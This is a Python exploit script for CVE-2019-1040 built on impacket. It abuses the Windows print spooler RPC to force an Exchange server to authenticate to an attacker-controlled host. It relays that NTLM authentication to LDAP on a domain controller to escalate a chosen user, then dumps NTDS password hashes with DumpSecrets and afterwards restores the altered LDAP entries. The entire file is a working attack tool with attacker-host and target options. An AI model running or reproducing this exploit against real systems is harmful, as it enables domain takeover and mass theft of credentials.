CVE-2019-1040.py

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import ssl
import argparse
import logging
import sys
import getpass
import base64
import re
import binascii
import time
import config
import os
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.dtypes import NULL
from comm import logger
from comm.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
from comm.ntlmrelayx.utils.config import NTLMRelayxConfig
from comm.ntlmrelayx.utils.targetsutils import TargetsProcessor
from comm.ntlmrelayx.clients import PROTOCOL_CLIENTS
from comm.ntlmrelayx.attacks import PROTOCOL_ATTACKS
from multiprocessing import Manager
from threading import Thread, Lock, currentThread
from comm.secretsdump import DumpSecrets
from comm.restore import RestoreOperation



# Init logging
logger.init()
logging.getLogger().setLevel(logging.INFO)
start = time.time()
LOGO =R"""
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗  ██╗ █████╗        ██╗ ██████╗ ██╗  ██╗ ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗███║██╔══██╗      ███║██╔═████╗██║  ██║██╔═████╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║╚██║╚██████║█████╗╚██║██║██╔██║███████║██║██╔██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║ ██║ ╚═══██║╚════╝ ██║████╔╝██║╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝ ██║ █████╔╝       ██║╚██████╔╝     ██║╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝  ╚═╝ ╚════╝        ╚═╝ ╚═════╝      ╚═╝ ╚═════╝ 
                                                                                                                              
"""


class PrinterBug(object):
    KNOWN_PROTOCOLS = {
        139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
        445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
    }

    def __init__(self, username='', password='', domain='', port=None,
                 hashes=None, attackerhost=''):

        self.__username = username
        self.__password = password
        self.__port = port
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__attackerhost = attackerhost
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')

    def dump(self, remote_host):
        logging.info(
            'Attempting to trigger authentication via rprn RPC at %s', remote_host)

        stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host
        # logging.info('StringBinding %s'%stringbinding)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        rpctransport.set_dport(self.__port)

        if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
            rpctransport.setRemoteHost(remote_host)

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

        try:
            tmp  = self.lookup(rpctransport, remote_host)
            if tmp:
                return True
        except Exception, e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return False

    def lookup(self, rpctransport, host):
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)
        logging.critical('Bind OK')
        try:
            resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host)
        except Exception, e:
            if str(e).find('Broken pipe') >= 0:
                # The connection timed-out. Let's try to bring it back next round
                logging.error('Connection failed - skipping host!')
                return False
            elif str(e).upper().find('ACCESS_DENIED'):
                # We're not admin, bye
                logging.error('Access denied - RPC call was denied')
                dce.disconnect()
                return False
            else:
                return False
        logging.info('Got handle')

        request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
        request['hPrinter'] = resp['pHandle']
        request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
        request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost
        request['pOptions'] = NULL
        try:
            resp = dce.request(request)
        except Exception as e:
            pass
        logging.info(
            'Triggered RPC backconnect, this may or may not have worked')

        dce.disconnect()

        return True


def startServers(passargs):
    targetSystem = passargs.target_host
    privuser = passargs.user
    PoppedDB		= Manager().dict()	# A dict of PoppedUsers
    PoppedDB_Lock	= Lock()			# A lock for opening the dict
    relayServers = [SMBRelayServer]
    c = NTLMRelayxConfig()
    c.setProtocolClients(PROTOCOL_CLIENTS)
    c.setTargets(TargetsProcessor(singleTarget=str("ldap://"+targetSystem),protocolClients=PROTOCOL_CLIENTS))
    c.setOutputFile(None)
    c.setEncoding('ascii')
    c.setMode('RELAY')
    c.setAttacks(PROTOCOL_ATTACKS)
    c.setLootdir('.')
    c.setInterfaceIp("0.0.0.0")
    c.setExploitOptions(True)
    c.escalateuser = privuser
    c.delegateaccess = False
    c.addcomputer = False
    c.dumpdomain = False
    c.setSMB2Support(True)
    c.PoppedDB 		= PoppedDB 		# pass the poppedDB to the relay servers
    c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers
    s = SMBRelayServer(c)
    s.start()
    logging.info("Relay servers started, waiting for connection....")
    try:
        status = exploit(passargs)
        if status:
            exp = Thread(target=checkauth, args=(passargs,))
            exp.daemon = True
            exp.start()
            try:
                while exp.isAlive():
                    pass
            except KeyboardInterrupt, e:
                logging.info("Shutting down...")
                s.server.shutdown()
        else:
            logging.error("Error in exploit, Shutting down...")
            s.server.shutdown()
    except Exception as e:
        logging.error("Error found: {}".format(e))
        logging.info("Shutting down...")


def checkauth(passargs):
    getpriv = config.get_priv()
    backuser = config.get_user()
    logging.info("Checking privs...")
    logging.info("We have user => {}".format(backuser))
    while True:
        try:
            if getpriv == True:
                gethash(passargs,backuser)
                break
            else:
                getpriv = config.get_priv()
                tmp = time.time() - start
                if tmp > passargs.timeout:
                    logging.error("Time Out. exiting...")
                    break
        except Exception as e:
            logging.error("Error found, error is {}".format(e))
            break


def gethash(passargs,user):
    remoteName = passargs.target_host
    username = passargs.user
    password = passargs.password
    domain = passargs.domain
    execmethod = passargs.exec_method
    hashes = passargs.hashes
    restorentlm = ''
    if passargs.just_dc_user:
        dcuser = passargs.just_dc_user
    else:
        dcuser = None
    
    if len(user) > 0:
        try:
            dumper = DumpSecrets(remoteName, username, password,
                                 domain, execmethod, user, hashes)
            dumper.dump()
            restorentlm = config.get_ntlm()
            if len(restorentlm)>0:
                logging.critical('User: {}, NTLM: {}'.format(user, restorentlm))
        except:
            pass
    dumper = DumpSecrets(remoteName, username, password,
                         domain, execmethod, dcuser, hashes)
    try:
        check = dumper.dump()
    except Exception, e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(e)

    if user in restorentlm:
        logging.info("Restore LADP...")
        restorefile = config.get_restore()
        lmhash = restorentlm.split(':')[2]
        nthash = restorentlm.split(':')[3]
        restorer = RestoreOperation(None, restorefile,lmhash+":"+nthash)
        restorer.run()
        logging.info("Clean Restore file...")
        os.remove(restorefile)
        if os.path.exists(restorefile):
            logging.error("Clean error")
        else:
            logging.critical("Done.")


def exploit(args):
    username = args.user
    password = args.password
    domain = args.domain
    port = args.smb_port
    lookup = PrinterBug(username, password, domain, int(
        port), args.hashes, args.attacker_host)
    try:
        check = lookup.dump(args.host)
        if check:
            return True
    except KeyboardInterrupt:
        return False




def main():
    parser = argparse.ArgumentParser(description='CVE-2019-1040 with Exchange')
    parser.add_argument("host", type=str, metavar='EX_HOSTNAME', help="Hostname/ip of the Exchange server")
    parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication")
    parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)")
    parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied")
    parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
    parser.add_argument('--smb-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                  help='Destination port to connect to SMB Server')
    parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP")
    parser.add_argument("-th", "--target-host", required=True, help="Hostname or IP of the DC")
    parser.add_argument("-t", "--timeout", default='15',type=int, help='timeout in seconds')
    parser.add_argument('--exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
                        'method to use at target (only when using -use-vss). Default: smbexec')
    parser.add_argument('--just-dc-user', action='store', metavar='USERNAME',
                        help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach.')
    parser.add_argument("--debug", action='store_true', help='Enable debug output')
    passargs = parser.parse_args()
    startServers(passargs)

if __name__ == '__main__':
    print(LOGO)
    main()